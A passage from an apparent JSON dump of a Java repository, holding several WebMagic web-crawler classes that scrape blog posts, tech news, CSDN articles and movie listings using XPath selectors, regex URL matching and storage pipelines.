page.getHtml().xpath(\"//div[@class='location']\").regex(\"\\\\[[\\\\S|\\\\s]+\\\\<\").toString();\t//匹配标题\n//            page.putField(\"title\", title.substring(0, title.length() - 1).trim());\n//            page.putField(\"torrent\", page.getHtml().xpath(\"//p[@class='original download']\").links().toString().trim());\t//匹配种子\n        \tString title = page.getHtml().xpath(\"//*[@id=\\\"breadCrumb\\\"]/font/a[4]/text()\").get();\n            String content = page.getHtml().xpath(\"//*[@id=\\\"read_tpc\\\"]/img[1]/\").get();\n            System.err.println(\"title=\"+title+\",content=\"+content);\n            System.err.println();\n        }\t\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tSpider.create(new AniMusicProcessor2())\n\t\t\t.addUrl(\"http://xh2.1024xp2.com/pw/thread.php?fid=14\")\t//开始地址\t\n\t\t\t.addPipeline(new ConsolePipeline())\t//打印到控制台\n//\t\t\t.addPipeline(new FilePipeline(\"D:\\\\webmagic\\\\AniMusic\"))\t//保存到文件夹\n\t\t\t.thread(5)\t//开启5线程\n\t\t\t.run();\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/BlogPageProcessor.java",
    "content": "package jun_webmagic;\n\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n \nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n \n/**\n * Created by Administrator on 2017/6/11.\n */\npublic class BlogPageProcessor implements PageProcessor {\n    //抓取网站的相关配置，包括：编码、抓取间隔、重试次数等\n    private Site site = Site.me().setRetryTimes(10).setSleepTime(1000);\n    //博文数量\n    private static int num = 0;\n    //数据库持久化对象，用于将博文信息存入数据库\n//    private BlogDao blogDao = new BlogDaoImpl();\n \n    public static void main(String[] args) throws Exception {\n        long startTime, endTime;\n        System.out.println(\"========天善最热博客小爬虫【启动】喽！=========\");\n        startTime = new Date().getTime();\n        Spider.create(new BlogPageProcessor()).addUrl(\"https://blog.hellobi.com/hot/weekly?page=1\").thread(5).run();\n        endTime = new Date().getTime();\n        System.out.println(\"========天善最热博客小爬虫【结束】喽！=========\");\n        System.out.println(\"一共爬到\" + num + \"篇博客！用时为：\" + (endTime - startTime) / 1000 + \"s\");\n    }\n \n    @Override\n    public void process(Page page) {\n        //1. 如果是博文列表页面 【入口页面】，将所有博文的详细页面的url放入target集合中。\n        // 并且添加下一页的url放入target集合中。\n        if (page.getUrl().regex(\"https://blog\\\\.hellobi\\\\.com/hot/weekly\\\\?page=\\\\d+\").match()) {\n            //目标链接\n            page.addTargetRequests(page.getHtml().xpath(\"//h2[@class='title']/a\").links().all());\n            //下一页博文列表页链接\n            page.addTargetRequests(page.getHtml().xpath(\"//a[@rel='next']\").links().all());\n        }\n        //2. 如果是博文详细页面\n        else {\n//            String content1 = page.getHtml().get();\n            try {\n                /*实例化BlogInfo，方便持久化存储。*/\n//                BlogInfo blog = new BlogInfo();\n                //博文标题\n                String title = page.getHtml().xpath(\"//h1[@class='clearfix']/a/text()\").get();\n                //博文url\n                String url = page.getHtml().xpath(\"//h1[@class='clearfix']/a/@href\").get();\n                //博文作者\n                String author = page.getHtml().xpath(\"//section[@class='sidebar']/div/div/a[@class='aw-user-name']/text()\").get();\n                //作者博客地址\n                String blogHomeUrl = page.getHtml().xpath(\"//section[@class='sidebar']/div/div/a[@class='aw-user-name']/@href\").get();\n                //博文内容，这里只获取带html标签的内容，后续可再进一步处理\n                String content = page.getHtml().xpath(\"//div[@class='message-content editor-style']\").get();\n                //推荐数(点赞数)\n                String recommendNum = page.getHtml().xpath(\"//a[@class='agree']/b/text()\").get();\n                //评论数\n                String commentNum = page.getHtml().xpath(\"//div[@class='aw-mod']/div/h2/text()\").get().split(\"个\")[0].trim();\n                //阅读数（浏览数）\n                String readNum = page.getHtml().xpath(\"//div[@class='row']/div/div/div/div/span/text()\").get().split(\":\")[1].trim();\n                //发布时间，发布时间需要处理，这一步获取原始信息\n                String time = page.getHtml().xpath(\"//time[@class='time']/text()\").get().split(\":\")[1].trim();\n                SimpleDateFormat df = new SimpleDateFormat(\"yyyy-MM-dd\");\n                Calendar cal = Calendar.getInstance();// 取当前日期。\n                cal = Calendar.getInstance();\n                String publishTime = null;\n                Pattern p = Pattern.compile(\"^\\\\d{4}-\\\\d{2}-\\\\d{2}$\");\n                Matcher m = p.matcher(time);\n                //如果time是“YYYY-mm-dd”这种格式的，则不需要处理\n                if (m.matches()) {\n                    publishTime = time;\n                } else if (time.contains(\"天\")) { //如果time包含“天”，如1天前，\n                    int days = Integer.parseInt(time.split(\"天\")[0].trim());//则获取对应的天数\n                    cal.add(Calendar.DAY_OF_MONTH, -days);// 取当前日期的前days天.\n                    publishTime = df.format(cal.getTime());  //并将时间转换为“YYYY-mm-dd”这个格式\n                } else {//time是其他格式，如几分钟前，几小时前，都为当日日期\n                    publishTime = df.format(cal.getTime());\n                }\n                //对象赋值\n//                blog.setUrl(url);\n//                blog.setTitle(title);\n//                blog.setAuthor(author);\n//                blog.setBlogHomeUrl(blogHomeUrl);\n//                blog.setCommentNum(commentNum);\n//                blog.setRecommendNum(recommendNum);\n//                blog.setReadNum(readNum);\n//                blog.setContent(content);\n//                blog.setPublishTime(publishTime);\n                num++;//博文数++\n \n//                System.out.println(\"num:\" + num + \" \" + blog.toString());//输出对象\n//                blogDao.saveBlog(blog);//保存博文信息到数据库\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }\n \n    @Override\n    public Site getSite() {\n        return this.site;\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/BlogWebmagic.java",
    "content": "package jun_webmagic;\n\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\nimport dbutils.ContentDAO;\nimport dbutils.NovelDAO;\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class BlogWebmagic implements PageProcessor {\n\tprivate static final String START_URL = \"^http://blog.java1234.com/index.html[?]page=\\\\d{1,2}&$\";\n\tprivate static final String START_URL2 = \"http://blog.java1234.com/index.html?page=1&\";//\n\tprivate static final String DETAIL = \"http://blog.java1234.com/blog/articles/\\\\d{1,4}.html\";// http://yj1.b96dure93e9.rocks/pw//html_data/17/1907/4163869.html\n\tprivate static final String NEXT_PAGE = \"^http://blog.java1234.com/index.html?page=\\\\\\\\d{1,2}&$\";\n\tprivate static int count = 0;\n\tprivate Site site = Site.me().setDomain(\"www.baidu.com\").setSleepTime(1131)\n//            .setCharset(\"GBK\")\n\t\t\t.setCharset(\"utf-8\").setRetrySleepTime(2).setTimeOut(3000).setUserAgent(\n\t\t\t\t\t\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\");\n\n\t@Override\n\tpublic void process(Page page) {\n\t\tif (page.getUrl().regex(START_URL).match()) {\n\t\t\tSystem.err.println(\"page url is --> \" + page.getUrl().toString());\n\t\t}\n\t\tif (page.getUrl().regex(START_URL).match() || page.getUrl().regex(NEXT_PAGE).match()) {\n\t\t\tList<String> list = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[1]/div[2]\").links().all();\n\t\t\tString next = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[2]/nav/ul/li[3]/a\").links()\n\t\t\t\t\t.toString();\n\t\t\tString next3 = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[2]/nav/ul/li[4]/a\").links()\n\t\t\t\t\t.toString();\n\t\t\tString next4 = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[2]/nav/ul/li[5]/a\").links()\n\t\t\t\t\t.toString();\n            String next9 = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[2]/nav/ul/li[8]/a\").links().toString();\n//            String next6 = page.getHtml().xpath(\"//*[@id=\\\"main\\\"]/div[10]/span[2]/div[1]/a[6]\").links().toString();\n//            List<String> list = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[1]/div\").links().all();\n//            String next = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[2]/a[8]\").links().toString();\n\t\t\tlist.add(next);\n\t\t\tlist.add(next3);\n\t\t\tlist.add(next4);\n\t\t\tlist.add(next9);\n\t\t\tpage.addTargetRequests(list);\n\t\t\tSystem.err.println(\" new  add url list.size() =============\" + list.size());\n\t\t} else if (page.getUrl().regex(DETAIL).match()\n//        \t\t|| page.getUrl().regex(DETAIL2).match()\n//        \t\t|| page.getUrl().regex(DETAIL3).match()\n\t\t) {\n//            List<String> list = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a\").links().all();\n//        \tList<String> titles = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a/text()\").all();\n//        \tSystem.err.println(\"title =============\"+titles);\n\t\t\tSystem.err.println(\"todo url is --> \" + page.getUrl().toString());\n\t\t\tString fromUrl = page.getUrl().toString();\n\t\t\tString title = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[1]/div[2]/div[1]/h3/strong/text()\").get();\n\t\t\tString info = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[1]/div[2]/div[3]/text()\").get();\n\t\t\tString keywords = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[1]/div[2]/div[5]/text()\").get();\n\t\t\tString contents1 = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[1]/div[2]/div[4]/text()\").get();\n\t\t\tString contents1html = page.getHtml().xpath(\"/html/body/div[1]/div[3]/div[1]/div[1]/div[2]/div[4]\").get();\n//        \ttitle = getHtmlText(\"title\", title);\n\t\t\tSystem.err.println(\"fromUrl =============\" + page.getUrl().toString());\n\t\t\tSystem.err.println(\"title =============\" + title);\n//\t\t\tSystem.err.println(\"info =============\" + info);\n//\t\t\tSystem.err.println(\"keywords =============\" + keywords);\n//\t\t\tSystem.err.println(\"contents1 =============\" + contents1);\n//\t\t\tSystem.err.println(\"contents1html =============\" + contents1html);\n\t\t\t\n        \tList<String>  imglist = getImgList(\"img_list\", contents1html);\n        \tUrlFileDownloadUtil.downloadPictures(imglist);\n\n\t\t\tObject params[] = new Object[19];\n\t\t\tparams[3]=title;\n\t\t\tparams[13]=info;\n\t\t\tparams[7]=new Date();\n\t\t\tparams[8]=new Date();\n\t\t\tparams[9]=new Date();\n\t\t\tparams[10]=keywords;\n\t\t\tparams[4]=contents1;\n\t\t\tparams[12]=contents1html;\n\t\t\tparams[18]=fromUrl;\n\t\t\ttry {\n\t\t\t\tContentDAO c = new ContentDAO();\n\t\t\t\tc.addContentData(params);\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\n\t\t} else {\n\t\t\tSystem.err\n\t\t\t\t\t.println(\"err 正则URL匹配失败  --------------------------------------------------------\" + page.getUrl());\n\t\t}\n\t\tcount++;\n\t}\n\n\t@Override\n\tpublic Site getSite() {\n\t\treturn site;\n\t}\n\n\tpublic String getHtmlText(String tid, String html) {\n\t\tStringBuilder _content = new StringBuilder(\"\");\n\t\tif (tid.equalsIgnoreCase(\"novel_title\")) {\n\t\t\tList<String> titles = new ArrayList<String>();\n\t\t\tList<String> urls = new ArrayList<String>();\n\t\t\tDocument doc = Jsoup.parse(html);\n\t\t\tElements elements = doc.select(\"span\");\n\t\t\tfor (Element element : elements) {\n\t\t\t\tString title = element.text();\n\t\t\t\ttitles.add(title);\n\t\t\t}\n\t\t\tfor (String title : titles) {\n\t\t\t\tSystem.out.println(title);\n\t\t\t\t_content.append(title);\n\t\t\t}\n\t\t} else if (tid.equalsIgnoreCase(\"novel_time\")) {\n\t\t\tList<String> titles = new ArrayList<String>();\n\t\t\tList<String> urls = new ArrayList<String>();\n\t\t\tDocument doc = Jsoup.parse(html);\n\t\t\tElements elements = doc.select(\"span\");\n\t\t\tfor (Element element : elements) {\n\t\t\t\tString title = element.text();\n\t\t\t\ttitles.add(title);\n\t\t\t}\n\t\t\tfor (String title : titles) {\n\t\t\t\tSystem.out.println(title);\n\t\t\t\t_content.append(title);\n\t\t\t}\n\t\t}\n\t\treturn _content.toString();\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tlong start = System.currentTimeMillis();\n\t\tSystem.err.println(\"spider  is  start  now !!!\");\n\t\tSpider.create(new BlogWebmagic()).thread(10).addUrl(START_URL2).run();\n\t\tlong end = System.currentTimeMillis();\n\t\tSystem.err.println(\"spider  is  end  now !!!\");\n\t\tSystem.err.println(\"the  under   is   result\");\n\t\tSystem.err.println(\"###########################################\");\n\t\tSystem.err.println(\"the  count  is  {}\" + count);\n\t\tSystem.err.println(\"cost  time  is :\" + (end - start) / 1000 + \"s\");\n\n\t}\n\t\n    public List<String> getImgList(String host,String html) {\n    \thost = \"http://blog.java1234.com\";\n    \tList<String> urls = new ArrayList<String>();\n\t\tDocument doc = Jsoup.parse(html);\n\t\tElements elements = doc.select(\"img\");\n\t\tfor (Element element : elements) {\n\t\t\tString imgSrc = element.select(\"img\").attr(\"src\"); \n\t\t\tif(!imgSrc.contains(\"http\")) {\n\t\t\t\turls.add(host+imgSrc);\n\t\t\t}\n\t\t}\n\t\tfor (String img : urls) {\n\t\t\tSystem.err.println(\"images  =   \"+img);\n\t\t}\n    \treturn urls;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/CnBetaSpider.java",
    "content": "package jun_webmagic;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\n//import org.apache.ibatis.io.Resources;\n//import org.apache.ibatis.session.SqlSession;\n//import org.apache.ibatis.session.SqlSessionFactory;\n//import org.apache.ibatis.session.SqlSessionFactoryBuilder;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.ResultItems;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.Task;\nimport us.codecraft.webmagic.pipeline.Pipeline;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class CnBetaSpider implements PageProcessor {\n\n\t// ץȡվã롢ץȡԴ\n\tprivate Site site = Site.me().setRetryTimes(3).setSleepTime(100);\n\n\tpublic Site getSite() {\n\t\treturn site;\n\t}\n\n\tpublic void process(Page page) {\n\t\t// ҳƥ https://voice.hupu.com/nba/λ.html https://voice\\\\.hupu\\\\.com/nba/[0-9]{7}\\\\.html\n//\t\thttps://www\\\\.cnbeta\\\\.com/articles/tech/[0-9]{6}.htm\n\t\tif (page.getUrl().regex(\"https://www\\\\.cnbeta\\\\.com/articles/tech/[0-9]{6}\\\\.htm\").match()) {\n\t\t\tpage.putField(\"Title\", page.getHtml().xpath(\"/html/body/div[1]/div/div[2]/div/div[1]/header/h1/text()\").toString());\n//\t\t\tpage.putField(\"Image\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[1]/img/text()\").toString());\n//\t\t\tpage.putField(\"Content\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p[1]/text()\")\n//\t\t\t\t\t.all().toString()\n//\t\t\t\t\t+ page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p[2]/text()\").all().toString()\n//\t\t\t\t\t+ page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p[3]/text()\").all().toString());\n//            page.putField(\"Title\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[1]/h1/text()\").toString());\n//            page.putField(\"Content\", page.getHtml().xpath(\"/html/body/div[4]/div[1]/div[2]/div/div[2]/p/text()\").all().toString());\n\t\t}\n\t\t// бҳ\n\t\telse {\n\t\t\t// url\n\t\t\tpage.addTargetRequests(\n\t\t\t\t\tpage.getHtml().xpath(\"/html/body/div[3]/div[1]/div[2]/ul/li/div[1]/h4/a/@href\").all());\n\t\t\t// ҳurl\n//\t\t\thttps://www.cnbeta.com/home/more?&type=all&page=3&_csrf=CBlEkJcYFAlkttssQWHz4xY3zC6mGg4vjjPZRJgc8xBRIAD39k1AXhfMtkszUsCBQ3GgR8pQNhm_apEn0STLRA%3D%3D&_=1561742466563\n\t\t\tpage.addTargetRequests(\n\t\t\t\t\tpage.getHtml().xpath(\"/html/body/div[3]/div[1]/div[3]/a[@class='page-btn-prev']/@href\").all());\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tSpider.create(new CnBetaSpider()).addUrl(\"https://www.cnbeta.com\").addPipeline(new MysqlPipeline()).thread(3)\n\t\t\t\t.run();\n\t}\n}\n\n// ԶʵPipelineӿ\nclass MysqlPipeline implements Pipeline {\n\n\tpublic MysqlPipeline() {\n\t}\n\n\tpublic void process(ResultItems resultitems, Task task) {\n\t\tMap<String, Object> mapResults = resultitems.getAll();\n\t\tIterator<Entry<String, Object>> iter = mapResults.entrySet().iterator();\n\t\tMap.Entry<String, Object> entry;\n\t\t// ̨\n\t\twhile (iter.hasNext()) {\n\t\t\tentry = iter.next();\n\t\t\tSystem.err.println(entry.getKey() + \"\" + entry.getValue());\n\t\t}\n\t\t// ־û\n\t\tNews news = new News();\n\t\tif (!mapResults.get(\"Title\").equals(\"\")) {\n\t\t\tnews.setTitle((String) mapResults.get(\"Title\"));\n\t\t\tnews.setImage((String) mapResults.get(\"Image\"));\n\t\t\tnews.setContent((String) mapResults.get(\"Content\"));\n\t\t}\n//        System.err.println(news.getTitle());\n//        System.err.println(news.getContent());\n//        try {\n//            InputStream is = Resources.getResourceAsStream(\"conf.xml\");\n//            SqlSessionFactory sessionFactory = new SqlSessionFactoryBuilder().build(is);\n//            SqlSession session = sessionFactory.openSession();\n//            session.insert(\"add\", news);\n//            session.commit();\n//            session.close();\n//        } catch (IOException e) {\n//            e.printStackTrace();\n//        }\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/CsdnBlogPageProcessor.java",
    "content": "package jun_webmagic;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.pipeline.JsonFilePipeline;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Scanner;\n\n/**\n * Created by Rush on 2017/3/27.\n */\n\npublic class CsdnBlogPageProcessor implements PageProcessor {\n    // 部分一：抓取网站的相关配置，包括编码、抓取间隔、重试次数等\n    private Site site = Site.me().setRetryTimes(3).setSleepTime(1000)\n            .setUserAgent(\n                    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\");\n//            .setUserAgent(\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\");\n    private static String username; // 设置的Csdn用户名\n    private static int size = 0; // 共抓取到的文章数量\n\n    // process是定制爬虫逻辑的核心接口，在这里编写抽取逻辑\n    public void process(Page page) {\n        // 部分二：定义如何抽取页面信息，并保存下来\n        // 如果匹配成功，说明是文章页\n        if(!page.getUrl().regex(\"http://blog\\\\.csdn\\\\.net/\" + username + \"/article/details/\\\\d+\").match()){\n            // 添加所有文章页\n            page.addTargetRequests(page.getHtml().xpath(\"//div[@id='article_list']\").links()\n                    .regex(\"/\" + username + \"/article/details/\\\\d+\")\n                    .replace(\"/\" + username + \"/\", \"http://blog.csdn.net/\" + username + \"/\")\n                    .all());\n            // 添加其他列表页\n            page.addTargetRequests(page.getHtml().xpath(\"//div[@id='papelist']\").links() // 限定其他列表页获取区域\n                    .regex(\"/\" + username + \"/article/list/\\\\d+\")\n                    .replace(\"/\" + username + \"/\", \"http://blog.csdn.net/\" + username + \"/\")// 巧用替换给把相对url转换成绝对url\n                    .all());\n        } else {\n            ++size;\n\n            page.putField(\"numbers\", page.getUrl().regex(\"\\\\d+$\").get());\n            page.putField(\"authors\", username);\n            page.putField(\"titles\", page.getHtml()\n                            .xpath(\"//div[@class='article_title']//h1//span[@class='link_title']/a/text()\").get());\n            page.putField(\"dates\", page.getHtml()\n                            .xpath(\"//div[@class='article_r']//span[@class='link_postdate']/text()\").get());\n            page.putField(\"tags\", listToString(page.getHtml()\n                    .xpath(\"//div[@class='article_l']//span[@class='link_categories']/a/text()\").all()));\n            page.putField(\"categorys\", listToString(page.getHtml()\n                            .xpath(\"//div[@class='category_r']//label//span//text()\").all()));\n            page.putField(\"views\", page.getHtml()\n                            .xpath(\"//div[@class='article_r']//span[@class='link_view']\").regex(\"\\\\d+\").get());\n            page.putField(\"comments\", page.getHtml()\n                            .xpath(\"//div[@class='article_r']//span[@class='link_comments']//text()\").regex(\"\\\\d+\").get());\n            page.putField(\"copyright\", page.getHtml().regex(\"bog_copyright\").match() ? 1 : 0);\n            SimpleDateFormat sdf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n            page.putField(\"dateCreated\", sdf.format(new Date()));\n\n            /* 如果想要存储到数据库中，打开此代码段，并将上面的代码段注释掉。\n            CsdnBlog csdnBlog = new CsdnBlog(\n                    // 文章随机编号\n                    Integer.valueOf(page.getUrl()\n                            .regex(\"\\\\d+$\").get()),\n                    // 文章作者\n                    username,\n                    // 文章标题\n                    page.getHtml()\n                            .xpath(\"//div[@class='article_title']//h1//span[@class='link_title']/a/text()\").get(),\n                    // 文章日期\n                    page.getHtml()\n                            .xpath(\"//div[@class='article_r']//span[@class='link_postdate']/text()\").get(),\n                    // 文章标签\n                    listToString(page.getHtml()\n                            .xpath(\"//div[@class='article_l']//span[@class='link_categories']/a/text()\").all()),\n                    // 文章类别\n                    listToString(page.getHtml()\n                            .xpath(\"//div[@class='category_r']//label//span//text()\").all()),\n                    // 阅读人数\n                    Integer.valueOf(page.getHtml()\n                            .xpath(\"//div[@class='article_r']//span[@class='link_view']\").regex(\"\\\\d+\").get()),\n                    // 评论人数\n                    Integer.valueOf(page.getHtml()\n                            .xpath(\"//div[@class='article_r']//span[@class='link_comments']//text()\").regex(\"\\\\d+\").get()),\n                    // 是否原创\n                    page.getHtml().regex(\"bog_copyright\").match() ? 1 : 0\n            );\n            new CsdnBlogDao().add(csdnBlog);\n            System.out.println(csdnBlog);\n            */\n        }\n    }\n\n    public Site getSite() {\n        return site;\n    }\n\n    private static String listToString(List<String> stringList){\n        if(stringList == null){\n            return null;\n        }\n        StringBuffer result = new StringBuffer();\n        boolean flag = false;\n        for(String s : stringList){\n            if(flag){\n                result.append(',');\n            } else {\n                flag = true;\n            }\n            result.append(s);\n        }\n        return result.toString();\n    }\n\n    public static void main(String[] args) {\n        long startTime, endTime;\n        System.out.print(\"请输入要爬取的CSDN博主用户名：\");\n//        Scanner scanner = new Scanner(System.in);\n        username = \"zhetmdoubeizhanyong\";\n//        username = scanner.next();\n        System.out.println(\"-----------启动爬虫程序-----------\");\n        startTime = System.currentTimeMillis();\n        Spider.create(new CsdnBlogPageProcessor())\n            .addUrl(\"http://blog.csdn.net/\" + username)\n            .addPipeline(new JsonFilePipeline(\"D:\\\\webmagic\\\\\"))\n            //开启5个线程抓取\n            .thread(5)\n            //启动爬虫\n            .run();\n        endTime = System.currentTimeMillis();\n        System.out.println(\"结束爬虫程序，共抓取 \" + size + \" 篇文章，耗时约 \" + ((endTime - startTime) / 1000) + \" 秒！\");\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webmagic/src/main/java/jun_webmagic/DygWebmagic.java",
    "content": "package jun_webmagic;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\nimport us.codecraft.webmagic.Page;\nimport us.codecraft.webmagic.Site;\nimport us.codecraft.webmagic.Spider;\nimport us.codecraft.webmagic.processor.PageProcessor;\n\npublic class DygWebmagic  implements PageProcessor {\n    //保存信息\n    private static HashMap<String, List<String>> map = new HashMap<String, List<String>>();\n    private static final String START_URL = \"^http://www.dygang.net/ys/index.htm$\";\n    private static final String START_URL2 = \"http://www.dygang.net/ys/index.htm\";\n    private static final String DETAIL = \"http://www.dygang.net/ys/\\\\d{1,8}/\\\\d{1,5}.htm\";\n    private static final String NEXT_PAGE = \"^http://www.dygang.net/ys/index_\\\\d*.htm$\";\n//    private static final String START_URL = \"^https://www.imooc.com/course/list$\";\n//    private static final String START_URL2 = \"https://www.imooc.com/course/list\";\n//    private static final String DETAIL = \"https://www.imooc.com/learn/\\\\d{1,8}\";\n//    private static final String NEXT_PAGE = \"^https://www.imooc.com/course/list\\\\?page=\\\\d*$\";\n    private static int count = 0;\n//    private static Spider spider = Spider.create(new MukeProcessor());\n    private String keyTitles = \"titles\";\n    private String keyUrls = \"keyUrls\";\n    private Site site = Site.me()\n            .setDomain(\"www.baidu.com\")\n            .setSleepTime(1131)\n            .setCharset(\"GBK\")\n//            .setCharset(\"utf-8\")\n            .setRetrySleepTime(2)\n            .setTimeOut(3000)\n            .setUserAgent(\n                    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31\");\n\n\n    @Override\n    public void process(Page page) {\n        System.err.println(\"page  url  is  {}\"+page.getUrl().toString());\n//        System.err.println(\"page.getHtml()=\"+page.getHtml());\n        \n        if (page.getUrl().regex(START_URL).match() || page.getUrl().regex(NEXT_PAGE).match()) {\n            List<String> list = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td\").links().all();\n            String next = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[3]/tbody/tr/td/a/*\").links().toString();\n//            List<String> list = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[1]/div\").links().all();\n//            String next = page.getHtml().xpath(\"*[@id=\\\"main\\\"]/div[2]/div[2]/div[2]/a[8]\").links().toString();\n            list.add(next);\n            page.addTargetRequests(list);\n            System.err.println(\" add url list.size() =============\"+list.size());\n        } else if (page.getUrl().regex(DETAIL).match()) {\n//            List<String> list = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a\").links().all();\n        \tList<String> titles = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[2]/tbody/tr/td/div/a/text()\").all();\n        \tSystem.err.println(\"title =============\"+titles);\n        \t\n        \tString filmName = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[3]/tbody/tr[1]/td[2]\").get();\n        \tSystem.err.println(\"filmName =============\"+filmName);\n        \tString filmTime = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[3]/tbody/tr[2]/td\").get();\n        \tSystem.err.println(\"filmTime =============\"+filmTime);\n        \t\n        \tString pic = page.getHtml().xpath(\"/html/body/table[6]/tbody/tr/td[1]/table/tbody/tr/td/table[3]/tbody/tr[1]/td[1]/table/tbody/tr/td/img\").get();\n        \tSystem.err.println(\"pic  =============\"+pic);\n        \tString picPath = pic.substring(pic.indexOf(\"src=\\\"\") + 5, pic.indexOf(\"jpg\") + 3);\n        \tSystem.err.println(\"picPath  =============\"+picPath);\n        \t\n        \tString picBiger = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[1]/img\").get();\n        \tSystem.err.println(\"picBiger  =============\"+picBiger);\n        \tString picBigerPath = picBiger.substring(picBiger.indexOf(\"src=\\\"\") + 5, picBiger.indexOf(\"jpg\") + 3);\n        \tSystem.err.println(\"picBigerPath  =============\"+picBigerPath);\n        \t\n        \tList<String> dede_content_p2 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[2]\").all();\n        \tSystem.err.println(\"dede_content_p2 =============\"+dede_content_p2);\n        \t\n        \tList<String> dede_content_p3 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[3]\").all();\n        \tSystem.err.println(\"dede_content_p3 =============\"+dede_content_p3);\n        \t\n        \tList<String> dede_content_p4 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[4]\").all();\n        \tSystem.err.println(\"dede_content_p4 =============\"+dede_content_p4);\n        \t\n        \t\n        \tString pic_content_p3 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[3]/img\").get();\n        \tString pic_content_p5 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[5]/img\").get();\n        \tString pic_content_p6 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[6]/img\").get();\n        \tString pic_content_p7 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[7]/img\").get();\n        \tString pic_content_p4 = page.getHtml().xpath(\"//*[@id=\\\"dede_content\\\"]/p[4]/img\").get();\n        \tString 